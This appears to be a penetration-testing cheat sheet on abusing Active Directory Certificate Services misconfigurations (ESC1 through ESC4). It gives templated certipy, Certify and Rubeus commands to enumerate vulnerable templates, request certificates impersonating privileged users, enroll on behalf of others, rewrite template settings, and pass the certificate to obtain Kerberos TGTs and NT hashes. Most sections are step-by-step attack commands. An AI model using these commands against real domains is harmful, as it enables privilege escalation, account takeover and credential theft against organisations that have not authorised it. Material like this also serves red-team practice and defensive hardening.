AD CS

• 1: ESC1 and ESC2
• 2: ESC3
• 3: ESC4

# With username/password:
certipy find -u '<username>' -p '<password>' -dc-ip '<dc_ip>' [-ldap-scheme ldap]
# With Kerberos Ticket (ccache path exported in KRB5CCNAME environment variable)
certipy find -k -no-pass -target '<dc_host>' -ns '<dc_ip>'

# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is a part of:
Certify.exe find /vulnerable /currentuser

1 - ESC1 and ESC2

ESC1 and ESC2 are similar privilege escalation techniques targeting certificate templates with ENROLLEE_SUPPLIES_SUBJECT flag set and can be used for client authentication. The ENROLLEE_SUPPLIES_SUBJECT flag means the subject of the certificate issued will be whatever the client supplies in the certificate request. Privilege escalation is then achieved by specifying a high-priv user in the subject name, then use Pass-the-Certificate to authenticate as the target user, obtaining their Kerberos TGT.

The difference between ESC1 and ESC2 come down to what specific configuration in the certificate template allowed that to happen:

• ESC1:
  • Client Authentication is set as one of the EKUs.
  • ENROLLEE_SUPPLIES_SUBJECT flag is set.
• ESC2:
  • Any Purpose is set as one of the EKUs.
  • ENROLLEE_SUPPLIES_SUBJECT flag is set.

Linux Perspective

We use certipy to request a certificate the vulnerable template, specifying the user we want to get access in -upn.

certipy req \
-k -no-pass \
-target '<dc_host>' -ns '<dc_ip>'
-ca '<ca_name>' -template '<vuln_template>' \
-upn '<target_user>'@'<domain>' -sid '<target_user_sid>' [-key-size 4096]

After obtaining the certificate, we use certipy, once again, to Pass-the-Certificate to authenticate as the user we just requested a certificate for to obtain their TGT and NT hash.

certipy auth -pfx '<cert_path>' -dc-ip '<dc_ip>'

Windows Perspective

From Windows systems, Certify can be used with our target username specified under /altname:

Certify.exe request /ca:'<ca_name>' /template:"<vuln_template>" /altname:"<target_user>"

Then, we can use Rubeus to Pass-the-Certificate and obtain a TGT.

Rubeus.exe asktgt /user:"<target_user>" /certificate:"<base64_cert>" /password:"<cert_pass>" /domain:"<domain>" /dc:"<dc_host>" /show

2 - ESC3

One of the Extended Key Usages (EKUs) for certificates issued by AD CS is Certificate Enrollment Agent, which allows the holder of the certificate to request certificates for another user as if they are that user. To abuse this for privilege escalation, there needs to be at least two templates matching conditions below:

Condition 1: A template allows a low-privileged user to enroll in an enrollment agent.

• Enrollment rights granted to a user or group for which we have access to.
• Manager approval is disabled.
• No authorized signatures are required.
• Certificate Enrollment Agent or Any Purpose is set as the EKU.

Condition 2: A template permit a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user that can be used for authentication.

• Enrollment rights granted to a user or group for which we have access to (including the user we can request a certificate for via condition 1).
• Manager approval is disabled.
• No authorized signatures are required.
• Client Authentication or Any Purpose is set as the EKU.

The chain of attack goes as the following:

1. Request a condition 1 certificate as the current user.
2. Use the condition 1 certificate to request a condition 2 certificate on behalf of the target user, which allows for client authentication.
3. Authenticate as the target user using condition 2 certificate.

Linux Perspective

First, we request a certificate with Certificate Enrollment Agent listed as one of its EKUs, as our current controlled user.

certipy req -k -no-pass -ca '<ca_name>' -template "<agent_template>" -target "<dc_host>" \
-out controlled [-key-size 4096]

Next, request a certificate on behalf of a target user (specified with -on-behalf-of), while passing the certificate we received earlier back to the CA with -pfx to prove that we have rights as an enrollment agent. If we are targetting a user account, we can request a template from the built-in User template, which has Client Authentication listed under one of its EKUs.

certipy req -k -no-pass -ca '<ca_name>' -template user -target '<dc_host>' \
-on-behalf-of '<domain>\<target_user>' -pfx controlled.pfx -sid '<target_sid>' [-key-size 4096]

If we receive the certificate issued for the target user, we may Pass-the-Cert to obtain the user’s TGT and NT hash.

certipy auth -pfx administrator.pfx -dc-ip '<dc_ip>'

3 - ESC4

If a principal controlled by the attacker has the rights to modify a certificate template (FullControl, WriteOwner, WriteDacl, or WriteProperty), the attacker can modify the certificate template to one that is vulnerable to ESC1 or ESC2, that is one with Client Authentication or Any Purpose listed under its EKU and with the ENROLLEE_SUPPLIES_SUBJECT flag set.

Linux Perspective

Certipy includes the functionality to automatically configure a certificate template to one that is vulnerable to ESC1 if the user has sufficient rights to do so.

certipy template -k -no-pass -template '<vuln_template>' -target '<dc_host>' -write-default-configuration

Next, use the same steps for exploiting ESC and ESC2: first request a certificate with SAN set to username of a target user, then pass-the-certificate to authenticate, receiving the target user’s TGT and NT hash.

certipy req -k -no-pass -ca '<ca_name>' -upn '<target_user>@<domain>' -template '<vuln_template>' -target '<dc_host>'

certipy auth -pfx administrator.pfx -dc-ip '<dc_ip>'